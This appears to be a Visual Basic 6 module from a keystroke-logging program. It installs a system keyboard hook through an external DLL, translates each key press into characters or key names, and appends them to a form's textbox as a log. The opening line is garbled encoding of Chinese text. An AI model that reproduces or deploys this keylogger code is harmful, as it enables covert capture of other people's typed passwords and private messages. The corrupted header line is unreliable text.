module1.bas

快速控制.管理,?焖倏刂?管理,?焖倏刂?管理,?焖倏刂?管理,

Attribute VB_Name = "Module1"
Option Explicit
Public Declare Function SetHook Lib "kbhookdll.dll" (ByVal hWnd As Long) As Long
Public Declare Function RemoveHook Lib "kbhookdll.dll" () As Long

Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Public Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Const WM_USER = &H400
Public Const WM_COPYDATA = &H4A

Public Const GWL_WNDPROC = (-4)
Public KeyboardState(0 To 255) As Byte
Public PrevFuncPointer As Long
Public Function WindowProc(ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    'Here wParam - Virtual KeyCode, lParam - Keyboard ScanCode
    Dim RetVal As Long
    Dim KeyAscii As Long
    Dim KeyName As String
    'On Error GoTo ErrHandler
    
    'Is this the message from the dll
    If Msg = WM_USER Then
    'Now read we the keys
        If (lParam And &H80000000) = 0 Then 'KeyDown Event
            If GetKeyboardState(KeyboardState(0)) <> 0 Then
              RetVal = ToAscii(wParam, lParam, KeyboardState(0), KeyAscii, 0)
              If (RetVal = 1) And ((KeyAscii > 31) Or (KeyAscii = 13)) Then
              'Key my be just added to the log
                If KeyAscii = 13 Then 'Return key Pressed
                    Form1.Text1.Text = Form1.Text1.Text & "{ENTER}"
                Else 'Character Keys pressed
                    Form1.Text1.Text = Form1.Text1.Text & Chr(KeyAscii)
                End If
              Else 'other keys
                KeyName = String(20, " ")
                RetVal = GetKeyNameText(lParam, KeyName, 20)
                If RetVal <> 0 Then
                    KeyName = Left(KeyName, RetVal)
                    Form1.Text1.Text = Form1.Text1.Text & "{" & KeyName & "}"
                End If
              End If
            End If
        Else 'KeyUp Event
          'Nothing here now
        End If
    End If
    
    'Pass the procedure to the default handler
    WindowProc = CallWindowProc(PrevFuncPointer, hWnd, Msg, wParam, lParam)
    Exit Function
ErrHandler:
  MsgBox Err.Description
  RemoveHook
  Err.Clear
End Function